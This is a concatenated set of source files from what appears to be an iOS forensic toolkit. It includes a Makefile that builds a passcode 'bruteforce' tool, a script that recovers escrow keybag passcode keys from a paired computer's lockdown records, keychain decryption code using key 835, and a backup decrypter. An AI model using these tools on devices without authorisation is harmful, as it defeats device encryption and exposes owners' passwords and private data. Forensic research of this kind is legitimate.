--------------------------------------------------------------------------------
/python_scripts/demo_escrow.py:
--------------------------------------------------------------------------------
1 | import os
2 | import plistlib
3 | from keystore.keybag import Keybag
4 | from util.ramdiskclient import RamdiskToolClient
5 |
6 | """
7 | this wont work on iOS 5 unless the passcode was already bruteforced
8 | """
9 | def escrow():
10 | client = RamdiskToolClient()
11 | di = client.getDeviceInfos()
12 | key835 = di.get("key835").decode("hex")
13 |
14 | plist = os.environ["ALLUSERSPROFILE"] + "/Apple/Lockdown/%s.plist" % di["udid"]
15 | lockdown = plistlib.readPlist(plist)
16 | kb = Keybag.createWithDataSignBlob(lockdown["EscrowBag"].data, key835)
17 |
18 | keybags = di.setdefault("keybags", {})
19 | kbuuid = kb.uuid.encode("hex")
20 | if not keybags.has_key(kbuuid):
21 | print lockdown["HostID"]
22 | res = client.getEscrowRecord(lockdown["HostID"])
23 | bagkey = res.get("BagKey")
24 | print "Bag key" + bagkey.data.encode("hex")
25 | res = client.getPasscodeKey(lockdown["EscrowBag"].data, bagkey)
26 | print res
27 | passcodeKey = res["passcodeKey"].decode("hex")
28 | keybags[kbuuid] = {"KeyBagKeys": lockdown["EscrowBag"],
29 | "passcode": bagkey,
30 | "passcodeKey": passcodeKey.encode("hex")}
31 | pl.update(keybags[kbuuid])
32 | else:
33 | passcodeKey = keybags[kbuuid].get("passcodeKey").decode("hex")
34 |
35 | print kb.unlockWithPasscodeKey(passcodeKey)
36 | kb.printClassKeys()
37 |
38 | escrow()
--------------------------------------------------------------------------------
/ramdisk_tools/bsdcrypto/key_wrap.h:
--------------------------------------------------------------------------------
1 | /* $OpenBSD: key_wrap.h,v 1.1 2008/08/12 15:43:00 damien Exp $ */
2 |
3 | /*-
4 | * Copyright (c) 2008 Damien Bergamini
5 | *
6 | * Permission to use, copy, modify, and distribute this software for any
7 | * purpose with or without fee is hereby granted, provided that the above
8 | * copyright notice and this permission notice appear in all copies.
9 | *
10 | * THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES
11 | * WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF
12 | * MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR
13 | * ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
14 | * WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN
15 | * ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF
16 | * OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
17 | */
18 |
19 | #ifndef _KEY_WRAP_H_
20 | #define _KEY_WRAP_H_
21 |
22 | typedef unsigned char u_int8_t;
23 |
24 | typedef struct _aes_key_wrap_ctx {
25 | rijndael_ctx ctx;
26 | } aes_key_wrap_ctx;
27 |
28 | #include
29 |
30 | __BEGIN_DECLS
31 |
32 | void aes_key_wrap_set_key(aes_key_wrap_ctx *, const u_int8_t *, size_t);
33 | void aes_key_wrap_set_key_wrap_only(aes_key_wrap_ctx *, const u_int8_t *,
34 | size_t);
35 | void aes_key_wrap(aes_key_wrap_ctx *, const u_int8_t *, size_t, u_int8_t *);
36 | int aes_key_unwrap(aes_key_wrap_ctx *, const u_int8_t *, u_int8_t *,
37 | size_t);
38 | __END_DECLS
39 |
40 | #endif /* _KEY_WRAP_H_ */
41 |
--------------------------------------------------------------------------------
/ramdisk_tools/Makefile:
--------------------------------------------------------------------------------
1 | SDKVER?=4.3
2 | SDK=/Developer/Platforms/iPhoneOS.platform/Developer/SDKs/iPhoneOS$(SDKVER).sdk/
3 | CC:=$(wildcard /Developer/Platforms/iPhoneOS.platform/Developer/usr/bin/arm-apple-darwin10-*gcc*)
4 | CFLAGS=-Wall -isysroot $(SDK)
5 | CFLAGS_IOKIT=$(CFLAGS) -framework IOKit -framework CoreFoundation -framework Security -O3 -I.
6 |
7 | all: IOKit IOUSBDeviceControllerLib.h device_infos restored_external bruteforce
8 |
9 | IOUSBDeviceControllerLib.h:
10 | curl -o IOUSBDeviceControllerLib.h http://www.opensource.apple.com/source/IOKitUser/IOKitUser-502/usb_device.subproj/IOUSBDeviceControllerLib.h?txt
11 |
12 | IOKit:
13 | ln -s /System/Library/Frameworks/IOKit.framework/Versions/Current/Headers IOKit
14 |
15 | device_infos: device_infos.c device_info.c IOAESAccelerator.c AppleEffaceableStorage.c AppleKeyStore.c bsdcrypto/pbkdf2.c bsdcrypto/sha1.c bsdcrypto/key_wrap.c bsdcrypto/rijndael.c util.c IOKit.c registry.c
16 | $(CC) $(CFLAGS_IOKIT) -o $@ $^
17 | ldid -S $@
18 |
19 | restored_external: restored_external.c device_info.c remote_functions.c plist_server.c AppleKeyStore.c AppleEffaceableStorage.c IOKit.c IOAESAccelerator.c util.c registry.c AppleKeyStore_kdf.c bsdcrypto/pbkdf2.c bsdcrypto/sha1.c bsdcrypto/rijndael.c bsdcrypto/key_wrap.c
20 | $(CC) $(CFLAGS_IOKIT) -o $@ $^
21 | ldid -Skeystore_device.xml $@
22 |
23 | bruteforce: systemkb_bruteforce.c AppleKeyStore.c AppleEffaceableStorage.c IOKit.c IOAESAccelerator.c util.c registry.c AppleKeyStore_kdf.c bsdcrypto/pbkdf2.c bsdcrypto/sha1.c bsdcrypto/rijndael.c bsdcrypto/key_wrap.c device_info.c
24 | $(CC) $(CFLAGS_IOKIT) -o $@ $^
25 | ldid -Skeystore_device.xml $@
26 |
27 | clean:
28 | rm -f bruteforce restored_external device_infos
29 |
30 | rebuild: clean all
31 |
--------------------------------------------------------------------------------
/emf_decrypter/includes/hfs/hfscompress.h:
--------------------------------------------------------------------------------
1 | #ifndef HFSCOMPRESS_H
2 | #define HFSCOMPRESS_H
3 |
4 | #include
5 | #include "common.h"
6 |
7 | #define CMPFS_MAGIC 0x636D7066
8 |
9 | typedef struct HFSPlusDecmpfs {
10 | uint32_t magic;
11 | uint32_t flags;
12 | uint64_t size;
13 | uint8_t data[0];
14 | } __attribute__ ((packed)) HFSPlusDecmpfs;
15 |
16 | typedef struct HFSPlusCmpfRsrcHead {
17 | uint32_t headerSize;
18 | uint32_t totalSize;
19 | uint32_t dataSize;
20 | uint32_t flags;
21 | } __attribute__ ((packed)) HFSPlusCmpfRsrcHead;
22 |
23 | typedef struct HFSPlusCmpfRsrcBlock {
24 | uint32_t offset;
25 | uint32_t size;
26 | } __attribute__ ((packed)) HFSPlusCmpfRsrcBlock;
27 |
28 | typedef struct HFSPlusCmpfRsrcBlockHead {
29 | uint32_t dataSize;
30 | uint32_t numBlocks;
31 | HFSPlusCmpfRsrcBlock blocks[0];
32 | } __attribute__ ((packed)) HFSPlusCmpfRsrcBlockHead;
33 |
34 | typedef struct HFSPlusCmpfEnd {
35 | uint32_t pad[6];
36 | uint16_t unk1;
37 | uint16_t unk2;
38 | uint16_t unk3;
39 | uint32_t magic;
40 | uint32_t flags;
41 | uint64_t size;
42 | uint32_t unk4;
43 | } __attribute__ ((packed)) HFSPlusCmpfEnd;
44 |
45 | typedef struct HFSPlusCompressed {
46 | Volume* volume;
47 | HFSPlusCatalogFile* file;
48 | io_func* io;
49 | size_t decmpfsSize;
50 | HFSPlusDecmpfs* decmpfs;
51 |
52 | HFSPlusCmpfRsrcHead rsrcHead;
53 | HFSPlusCmpfRsrcBlockHead* blocks;
54 |
55 | int dirty;
56 |
57 | uint8_t* cached;
58 | uint32_t cachedStart;
59 | uint32_t cachedEnd;
60 | } HFSPlusCompressed;
61 |
62 | #ifdef __cplusplus
63 | extern "C" {
64 | #endif
65 | void flipHFSPlusDecmpfs(HFSPlusDecmpfs* compressData);
66 | io_func* openHFSPlusCompressed(Volume* volume, HFSPlusCatalogFile* file);
67 | #ifdef __cplusplus
68 | }
69 | #endif
70 |
71 | #endif
72 |
--------------------------------------------------------------------------------
/python_scripts/keychain/keychain3.py:
--------------------------------------------------------------------------------
1 | from keychain import Keychain
2 | from crypto.aes import AESdecryptCBC
3 | import hashlib
4 | from Crypto.Cipher import AES
5 |
6 | class Keychain3(Keychain):
7 | def __init__(self, filename, key835=None):
8 | Keychain.__init__(self, filename)
9 | self.key835 = key835
10 |
11 | def decrypt_data(self, data):
12 | if data == None:
13 | return ""
14 | data = str(data)
15 |
16 | if not self.key835:
17 | print "Key 835 not availaible"
18 | return ""
19 |
20 | data = AESdecryptCBC(data[16:], self.key835, data[:16], padding=True)
21 |
22 | #data_column = iv + AES128_K835(iv, data + sha1(data))
23 | if hashlib.sha1(data[:-20]).digest() != data[-20:]:
24 | print "data field hash mismatch : bad key ?"
25 | return "ERROR decrypting data : bad key ?"
26 |
27 | return data[:-20]
28 |
29 | def change_key835(self, newkey):
30 | tables = {"genp": "SELECT rowid, data FROM genp",
31 | "inet": "SELECT rowid, data FROM inet",
32 | "cert": "SELECT rowid, data FROM cert",
33 | "keys": "SELECT rowid, data FROM keys"}
34 |
35 | for t in tables.keys():
36 | for row in self.conn.execute(tables[t]):
37 | rowid = row["rowid"]
38 | data = str(row["data"])
39 | iv = data[:16]
40 | data = AES.new(self.key835, AES.MODE_CBC, iv).decrypt(data[16:])
41 | data = AES.new(newkey, AES.MODE_CBC, iv).encrypt(data)
42 | data = iv + data
43 | data = buffer(data)
44 | self.conn.execute("UPDATE %s SET data=? WHERE rowid=?" % t, (data, rowid))
45 | self.conn.commit()
--------------------------------------------------------------------------------
/python_scripts/keychain/store.py:
--------------------------------------------------------------------------------
1 | import plistlib
2 | import sqlite3
3 | import struct
4 | from util import readPlist
5 |
6 | class KeychainStore(object):
7 | def __init__(self):
8 | pass
9 |
10 | def convertDict(self, d):
11 | return d
12 |
13 | def returnResults(self, r):
14 | for a in r:
15 | yield self.convertDict(a)
16 |
17 | def get_items(self, table):
18 | return []
19 |
20 | class SQLiteKeychain(KeychainStore):
21 | def __init__(self, filename):
22 | self.conn = sqlite3.connect(filename)
23 | self.conn.row_factory = sqlite3.Row
24 |
25 | def convertDict(self, row):
26 | d = dict(row)
27 | for k,v in d.items():
28 | if type(v) == buffer:
29 | d[k] = str(v)
30 | return d
31 |
32 | def get_items(self, table):
33 | sql = {"genp": "SELECT rowid, data, svce, acct, agrp FROM genp",
34 | "inet": "SELECT rowid, data, acct, srvr, port, agrp FROM inet",
35 | "cert": "SELECT rowid, data, pkhh, agrp FROM cert",
36 | "keys": "SELECT rowid, data, klbl, agrp FROM keys"}
37 | return self.returnResults(self.conn.execute(sql[table]))
38 |
39 | class PlistKeychain(KeychainStore):
40 | def __init__(self, filename):
41 | self.plist = readPlist(filename)
42 |
43 | def convertDict(self, d):
44 | for k, v in d.items():
45 | if isinstance(v, plistlib.Data):
46 | if k == "v_Data":
47 | d["data"] = v.data
48 | elif k == "v_PersistentRef":
49 | #format tablename (4 chars) + rowid (64 bits)
50 | d["rowid"] = struct.unpack("
2 | #include
3 | #include
4 | #include
5 | #include "AppleEffaceableStorage.h"
6 | #include "IOKit.h"
7 |
8 | int AppleEffaceableStorage__getLocker(uint32_t lockerId, uint8_t* buffer, size_t len) {
9 | uint64_t outScalar = 0;
10 | uint32_t one = 1;
11 | uint64_t inScalar = lockerId;
12 |
13 | return IOKit_call("AppleEffaceableStorage",
14 | kAppleEffaceableStorageGetLocker,
15 | &inScalar,
16 | 1,
17 | NULL,
18 | 0,
19 | &outScalar,
20 | &one,
21 | buffer,
22 | &len);
23 | }
24 |
25 | int AppleEffaceableStorage__getBytes(uint8_t* buffer, size_t len)
26 | {
27 | const uint64_t offset = 0;
28 |
29 | return IOKit_call("AppleEffaceableStorage",
30 | kAppleEffaceableStorageGetBytes,
31 | &offset,
32 | 1,
33 | NULL,
34 | 0,
35 | NULL,
36 | NULL,
37 | buffer,
38 | &len);
39 | }
40 |
41 |
42 | int AppleEffaceableStorage__getLockerFromBytes(uint32_t tag, uint8_t* lockers, size_t lockers_len, uint8_t* buffer, size_t len)
43 | {
44 | struct EffaceableLocker* p = (struct EffaceableLocker*) lockers;
45 | unsigned int i=0;
46 |
47 | while (i < lockers_len)
48 | {
49 | //printf("p->magic=%x\n", p->magic);
50 | if (p->magic != 'Lk') //0x4c6B
51 | break;
52 | if (p->len == 0 || ((i+8+p->len) > lockers_len))
53 | break;
54 | //printf("p->tag=%x\n", p->tag);
55 | if ((p->tag & ~0x80000000) == tag)
56 | {
57 | len = len < p->len ? len : p->len;
58 | memcpy(buffer, p->data, len);
59 | return 0;
60 | }
61 | i = i + 8 + p->len;
62 | p = (struct EffaceableLocker*) (&lockers[i]);
63 | }
64 | return -1;
65 |
66 | }
67 |
--------------------------------------------------------------------------------
/emf_decrypter/includes/abstractfile.h:
--------------------------------------------------------------------------------
1 | #ifndef ABSTRACTFILE_H
2 | #define ABSTRACTFILE_H
3 |
4 | #include "common.h"
5 | #include
6 |
7 | typedef struct AbstractFile AbstractFile;
8 | typedef struct AbstractFile2 AbstractFile2;
9 |
10 | typedef size_t (*WriteFunc)(AbstractFile* file, const void* data, size_t len);
11 | typedef size_t (*ReadFunc)(AbstractFile* file, void* data, size_t len);
12 | typedef int (*SeekFunc)(AbstractFile* file, off_t offset);
13 | typedef off_t (*TellFunc)(AbstractFile* file);
14 | typedef void (*CloseFunc)(AbstractFile* file);
15 | typedef off_t (*GetLengthFunc)(AbstractFile* file);
16 | typedef void (*SetKeyFunc)(AbstractFile2* file, const unsigned int* key, const unsigned int* iv);
17 |
18 | typedef enum AbstractFileType {
19 | AbstractFileTypeFile,
20 | AbstractFileType8900,
21 | AbstractFileTypeImg2,
22 | AbstractFileTypeImg3,
23 | AbstractFileTypeLZSS,
24 | AbstractFileTypeIBootIM,
25 | AbstractFileTypeMem,
26 | AbstractFileTypeMemFile,
27 | AbstractFileTypeDummy
28 | } AbstractFileType;
29 |
30 | struct AbstractFile {
31 | void* data;
32 | WriteFunc write;
33 | ReadFunc read;
34 | SeekFunc seek;
35 | TellFunc tell;
36 | GetLengthFunc getLength;
37 | CloseFunc close;
38 | AbstractFileType type;
39 | };
40 |
41 | struct AbstractFile2 {
42 | AbstractFile super;
43 | SetKeyFunc setKey;
44 | };
45 |
46 |
47 | typedef struct {
48 | size_t offset;
49 | void** buffer;
50 | size_t bufferSize;
51 | } MemWrapperInfo;
52 |
53 | typedef struct {
54 | size_t offset;
55 | void** buffer;
56 | size_t* bufferSize;
57 | size_t actualBufferSize;
58 | } MemFileWrapperInfo;
59 |
60 | #ifdef __cplusplus
61 | extern "C" {
62 | #endif
63 | AbstractFile* createAbstractFileFromFile(FILE* file);
64 | AbstractFile* createAbstractFileFromDummy();
65 | AbstractFile* createAbstractFileFromMemory(void** buffer, size_t size);
66 | AbstractFile* createAbstractFileFromMemoryFile(void** buffer, size_t* size);
67 | AbstractFile* createAbstractFileFromMemoryFileBuffer(void** buffer, size_t* size, size_t actualBufferSize);
68 | void abstractFilePrint(AbstractFile* file, const char* format, ...);
69 | io_func* IOFuncFromAbstractFile(AbstractFile* file);
70 | #ifdef __cplusplus
71 | }
72 | #endif
73 |
74 | #endif
75 |
76 |
--------------------------------------------------------------------------------
/python_scripts/util/lzss.py:
--------------------------------------------------------------------------------
1 | """
2 | /**************************************************************
3 | LZSS.C -- A Data Compression Program
4 | ***************************************************************
5 | 4/6/1989 Haruhiko Okumura
6 | Use, distribute, and modify this program freely.
7 | Please send me your improved versions.
8 | PC-VAN SCIENCE
9 | NIFTY-Serve PAF01022
10 | CompuServe 74050,1022
11 |
12 | **************************************************************/
13 | /*
14 | * lzss.c - Package for decompressing lzss compressed objects
15 | *
16 | * Copyright (c) 2003 Apple Computer, Inc.
17 | *
18 | * DRI: Josh de Cesare
19 | */
20 | """
21 | from array import array
22 | import struct
23 |
24 | N = 4096
25 | F = 18
26 | THRESHOLD = 2
27 | NIL = N
28 |
29 | def decompress_lzss(str):
30 | if str[:8] !="complzss":
31 | print "decompress_lzss: complzss magic missing"
32 | return
33 | decompsize = struct.unpack(">L", str[12:16])[0]
34 | text_buf = array("B", " "*(N + F - 1))
35 | src = array("B", str[0x180:])
36 | srclen = len(src)
37 | dst = array("B", " "*decompsize)
38 | r = N - F
39 | srcidx, dstidx, flags, c = 0, 0, 0, 0
40 |
41 | while True:
42 | flags >>= 1
43 | if ((flags & 0x100) == 0):
44 | if (srcidx >= srclen):
45 | break
46 | c = src[srcidx]; srcidx += 1
47 | flags = c | 0xFF00;
48 |
49 | if (flags & 1):
50 | if (srcidx >= srclen):
51 | break
52 | c = src[srcidx]; srcidx += 1
53 | dst[dstidx] = c; dstidx += 1
54 | text_buf[r] = c; r += 1
55 | r &= (N - 1);
56 | else:
57 | if (srcidx >= srclen):
58 | break
59 | i = src[srcidx]; srcidx += 1
60 | if (srcidx >= srclen):
61 | break
62 | j = src[srcidx]; srcidx += 1
63 | i |= ((j & 0xF0) << 4)
64 | j = (j & 0x0F) + THRESHOLD
65 | for k in xrange(j+1):
66 | c = text_buf[(i + k) & (N - 1)]
67 | dst[dstidx] = c; dstidx += 1
68 | text_buf[r] = c; r += 1
69 | r &= (N - 1)
70 | return dst.tostring()
71 |
72 |
--------------------------------------------------------------------------------
/python_scripts/backups/backup3.py:
--------------------------------------------------------------------------------
1 | import hashlib,struct,glob,sys,os
2 | from crypto.PBKDF2 import PBKDF2
3 | from util.bplist import BPlistReader
4 | from Crypto.Cipher import AES
5 | from util import read_file, write_file, makedirs, readPlist
6 |
7 | """
8 | decrypt iOS 3 backup blob (metadata and file contents)
9 | """
10 |
11 | def decrypt_blob(blob, auth_key):
12 | len = struct.unpack(">H", blob[0:2])[0]
13 | if len != 66:
14 | print "blob len != 66"
15 | magic = struct.unpack(">H", blob[2:4])[0]
16 | if magic != 0x0100:
17 | print "magic != 0x0100"
18 | iv = blob[4:20]
19 |
20 | blob_key = AES.new(auth_key, AES.MODE_CBC, iv).decrypt(blob[20:68])[:32]
21 |
22 | return AES.new(blob_key, AES.MODE_CBC, iv).decrypt(blob[68:])
23 |
24 | def decrypt_backup3(backupfolder, outputfolder, passphrase):
25 | auth_key = None
26 | manifest = readPlist(backupfolder + "/Manifest.plist")
27 |
28 | if manifest["IsEncrypted"]:
29 | manifest_data = manifest["Data"].data
30 |
31 | authdata = manifest["AuthData"].data
32 |
33 | pkbdf_salt = authdata[:8]
34 | iv = authdata[8:24]
35 | key = PBKDF2(passphrase,pkbdf_salt,iterations=2000).read(32)
36 |
37 | data = AES.new(key, AES.MODE_CBC, iv).decrypt(authdata[24:])
38 | auth_key = data[:32]
39 |
40 | if hashlib.sha1(auth_key).digest() != data[32:52]:
41 | print "wrong auth key (hash mismatch) => wrong passphrase"
42 | return
43 |
44 | print "Passphrase seems OK"
45 |
46 | for mdinfo_name in glob.glob(backupfolder + "/*.mdinfo"):
47 |
48 | mddata_name = mdinfo_name[:-7] + ".mddata"
49 | mdinfo = BPlistReader.plistWithFile(mdinfo_name)
50 | metadata = mdinfo["Metadata"].data
51 | if mdinfo["IsEncrypted"]:
52 | metadata = decrypt_blob(mdinfo["Metadata"], auth_key)
53 | metadata = BPlistReader.plistWithString(metadata)
54 |
55 | print metadata["Path"]
56 |
57 | filedata = read_file(mddata_name)
58 | if mdinfo["IsEncrypted"]:
59 | filedata = decrypt_blob(filedata, auth_key)
60 |
61 | filename = metadata["Path"]
62 | makedirs(outputfolder + "/" + os.path.dirname(filename))
63 | write_file(outputfolder + "/" + filename, filedata)
64 |
--------------------------------------------------------------------------------
/emf_decrypter/hfs/flatfile.c:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 |
4 | static int flatFileRead(io_func* io, off_t location, size_t size, void *buffer) {
5 | FILE* file;
6 | file = (FILE*) io->data;
7 |
8 | if(size == 0) {
9 | return TRUE;
10 | }
11 |
12 | //printf("%d %d\n", location, size); fflush(stdout);
13 |
14 | if(fseeko(file, location, SEEK_SET) != 0) {
15 | perror("fseek");
16 | return FALSE;
17 | }
18 |
19 | if(fread(buffer, size, 1, file) != 1) {
20 | perror("fread");
21 | return FALSE;
22 | } else {
23 | return TRUE;
24 | }
25 | }
26 |
27 | static int flatFileWrite(io_func* io, off_t location, size_t size, void *buffer) {
28 | FILE* file;
29 |
30 | /*int i;
31 |
32 | printf("write: %lld %d - ", location, size); fflush(stdout);
33 |
34 | for(i = 0; i < size; i++) {
35 | printf("%x ", ((unsigned char*)buffer)[i]);
36 | fflush(stdout);
37 | }
38 | printf("\n"); fflush(stdout);*/
39 |
40 | if(size == 0) {
41 | return TRUE;
42 | }
43 |
44 | file = (FILE*) io->data;
45 |
46 | if(fseeko(file, location, SEEK_SET) != 0) {
47 | perror("fseek");
48 | return FALSE;
49 | }
50 |
51 | if(fwrite(buffer, size, 1, file) != 1) {
52 | perror("fwrite");
53 | return FALSE;
54 | } else {
55 | return TRUE;
56 | }
57 |
58 | return TRUE;
59 | }
60 |
61 | static void closeFlatFile(io_func* io) {
62 | FILE* file;
63 |
64 | file = (FILE*) io->data;
65 |
66 | fclose(file);
67 | free(io);
68 | }
69 |
70 | io_func* openFlatFile(const char* fileName) {
71 | io_func* io;
72 |
73 | io = (io_func*) malloc(sizeof(io_func));
74 | io->data = fopen(fileName, "rb+");
75 |
76 | if(io->data == NULL) {
77 | perror("fopen");
78 | return NULL;
79 | }
80 |
81 | io->read = &flatFileRead;
82 | io->write = &flatFileWrite;
83 | io->close = &closeFlatFile;
84 |
85 | return io;
86 | }
87 |
88 | io_func* openFlatFileRO(const char* fileName) {
89 | io_func* io;
90 |
91 | io = (io_func*) malloc(sizeof(io_func));
92 | io->data = fopen(fileName, "rb");
93 |
94 | if(io->data == NULL) {
95 | perror("fopen");
96 | return NULL;
97 | }
98 |
99 | io->read = &flatFileRead;
100 | io->write = &flatFileWrite;
101 | io->close = &closeFlatFile;
102 |
103 | return io;
104 | }
105 |
--------------------------------------------------------------------------------
/ramdisk_tools/image.c:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 | #include
4 | #include
5 |
6 | int screenWidth, screenHeight;
7 | CGContextRef context = NULL;
8 |
9 | CGContextRef fb_open() {
10 | io_connect_t conn = NULL;
11 | int bytesPerRow;
12 | void *surfaceBuffer;
13 | void *frameBuffer;
14 | CGColorSpaceRef colorSpace;
15 |
16 | if (context != NULL)
17 | return context;
18 |
19 | io_service_t fb_service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("AppleCLCD"));
20 | if (!fb_service) {
21 | fb_service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("AppleM2CLCD"));
22 | if (!fb_service) {
23 | printf("Couldn't find framebuffer.\n");
24 | return NULL;
25 | }
26 | }
27 |
28 | IOMobileFramebufferOpen(fb_service, mach_task_self(), 0, &conn);
29 | IOMobileFramebufferGetLayerDefaultSurface(conn, 0, &surfaceBuffer);
30 |
31 | screenHeight = CoreSurfaceBufferGetHeight(surfaceBuffer);
32 | screenWidth = CoreSurfaceBufferGetWidth(surfaceBuffer);
33 | bytesPerRow = CoreSurfaceBufferGetBytesPerRow(surfaceBuffer);
34 |
35 | CoreSurfaceBufferLock(surfaceBuffer, 3);
36 | frameBuffer = CoreSurfaceBufferGetBaseAddress(surfaceBuffer);
37 | CoreSurfaceBufferUnlock(surfaceBuffer);
38 |
39 | // create bitmap context
40 | colorSpace = CGColorSpaceCreateDeviceRGB();
41 | context = CGBitmapContextCreate(frameBuffer, screenWidth, screenHeight, 8, bytesPerRow, colorSpace, kCGImageAlphaPremultipliedLast);
42 | if(context == NULL) {
43 | printf("Couldn't create screen context!\n");
44 | return NULL;
45 | }
46 |
47 | CGColorSpaceRelease(colorSpace);
48 |
49 | return context;
50 | }
51 |
52 | int drawImage(const char* pngFileName)
53 | {
54 | CGContextRef c = fb_open();
55 | if (c == NULL)
56 | return -1;
57 |
58 | CFURLRef url = CFURLCreateFromFileSystemRepresentation(kCFAllocatorDefault, pngFileName, strlen(pngFileName), 0);
59 | void* imageSource = CGImageSourceCreateWithURL(url, NULL);
60 | CFRelease(url);
61 |
62 | if (imageSource != NULL)
63 | {
64 | CGImageRef img = CGImageSourceCreateImageAtIndex(imageSource, 0, NULL);
65 | if (img != NULL)
66 | {
67 | CGContextClearRect (c, CGRectMake(0, 0, screenWidth, screenHeight));
68 | CGContextDrawImage(c, CGRectMake(0, 0, screenWidth, screenHeight), img);
69 | }
70 | }
71 | return 0;
72 | }
73 |
--------------------------------------------------------------------------------
/ramdisk_tools/bsdcrypto/rijndael.h:
--------------------------------------------------------------------------------
1 | /* $OpenBSD: rijndael.h,v 1.13 2008/06/09 07:49:45 djm Exp $ */
2 |
3 | /**
4 | * rijndael-alg-fst.h
5 | *
6 | * @version 3.0 (December 2000)
7 | *
8 | * Optimised ANSI C code for the Rijndael cipher (now AES)
9 | *
10 | * @author Vincent Rijmen
11 | * @author Antoon Bosselaers
12 | * @author Paulo Barreto
13 | *
14 | * This code is hereby placed in the public domain.
15 | *
16 | * THIS SOFTWARE IS PROVIDED BY THE AUTHORS ''AS IS'' AND ANY EXPRESS
17 | * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
18 | * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
19 | * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHORS OR CONTRIBUTORS BE
20 | * LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
21 | * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
22 | * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR
23 | * BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY,
24 | * WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE
25 | * OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE,
26 | * EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
27 | */
28 | #ifndef __RIJNDAEL_H
29 | #define __RIJNDAEL_H
30 |
31 | #define AES_MAXKEYBITS (256)
32 | #define AES_MAXKEYBYTES (AES_MAXKEYBITS/8)
33 | /* for 256-bit keys, fewer for less */
34 | #define AES_MAXROUNDS 14
35 |
36 | typedef unsigned char u_char;
37 | typedef unsigned char u8;
38 | typedef unsigned short u16;
39 | typedef unsigned int u32;
40 |
41 | /* The structure for key information */
42 | typedef struct {
43 | int enc_only; /* context contains only encrypt schedule */
44 | int Nr; /* key-length-dependent number of rounds */
45 | u32 ek[4*(AES_MAXROUNDS + 1)]; /* encrypt key schedule */
46 | u32 dk[4*(AES_MAXROUNDS + 1)]; /* decrypt key schedule */
47 | } rijndael_ctx;
48 |
49 | int rijndael_set_key(rijndael_ctx *, const u_char *, int);
50 | int rijndael_set_key_enc_only(rijndael_ctx *, const u_char *, int);
51 | void rijndael_decrypt(rijndael_ctx *, const u_char *, u_char *);
52 | void rijndael_encrypt(rijndael_ctx *, const u_char *, u_char *);
53 |
54 | int rijndaelKeySetupEnc(unsigned int [], const unsigned char [], int);
55 | int rijndaelKeySetupDec(unsigned int [], const unsigned char [], int);
56 | void rijndaelEncrypt(const unsigned int [], int, const unsigned char [],
57 | unsigned char []);
58 |
59 | #endif /* __RIJNDAEL_H */
60 |
--------------------------------------------------------------------------------
/python_scripts/crypto/curve25519.py:
--------------------------------------------------------------------------------
1 | from Crypto.Util import number
2 |
3 | CURVE_P = (2**255 - 19)
4 | CURVE_A = 121665
5 |
6 | def curve25519_monty(x1, z1, x2, z2, qmqp):
7 | a = (x1 + z1) * (x2 - z2) % CURVE_P
8 | b = (x1 - z1) * (x2 + z2) % CURVE_P
9 | x4 = (a + b) * (a + b) % CURVE_P
10 |
11 | e = (a - b) * (a - b) % CURVE_P
12 | z4 = e * qmqp % CURVE_P
13 |
14 | a = (x1 + z1) * (x1 + z1) % CURVE_P
15 | b = (x1 - z1) * (x1 - z1) % CURVE_P
16 | x3 = a * b % CURVE_P
17 |
18 | g = (a - b) % CURVE_P
19 | h = (a + CURVE_A * g) % CURVE_P
20 | z3 = (g * h) % CURVE_P
21 |
22 | return x3, z3, x4, z4
23 |
24 | def curve25519_mult(n, q):
25 | nqpqx, nqpqz = q, 1
26 | nqx, nqz = 1, 0
27 |
28 | for i in range(255, -1, -1):
29 | if (n >> i) & 1:
30 | nqpqx,nqpqz,nqx,nqz = curve25519_monty(nqpqx, nqpqz, nqx, nqz, q)
31 | else:
32 | nqx,nqz,nqpqx,nqpqz = curve25519_monty(nqx, nqz, nqpqx, nqpqz, q)
33 | return nqx, nqz
34 |
35 | def curve25519(secret, basepoint):
36 | a = ord(secret[0])
37 | a &= 248
38 | b = ord(secret[31])
39 | b &= 127
40 | b |= 64
41 | s = chr(a) + secret[1:-1] + chr(b)
42 |
43 | s = number.bytes_to_long(s[::-1])
44 | basepoint = number.bytes_to_long(basepoint[::-1])
45 |
46 | x, z = curve25519_mult(s, basepoint)
47 | zmone = number.inverse(z, CURVE_P)
48 | z = x * zmone % CURVE_P
49 | return number.long_to_bytes(z)[::-1]
50 |
51 |
52 | if __name__ == "__main__":
53 | from crypto.aeswrap import AESUnwrap
54 | from Crypto.Hash import SHA256
55 |
56 | z="04000000080000000200000048000000000000000000000000000000000000000000000002917dc2542198edeb1078c4d1ebab74d9ca87890657ba02b9825dadf20a002f44360c6f87743fac0236df1f9eedbea801e31677aef3a09adfb4e10a37ae27facf419ab3ea3f39f4".decode("hex")
57 |
58 | mysecret = "99b66345829d8c05041eea1ba1ed5b2984c3e5ec7a756ef053473c7f22b49f14".decode("hex")
59 | mypublic = "b1c652786697a5feef36a56f36fde524a21193f4e563627977ab515f600fdb3a".decode("hex")
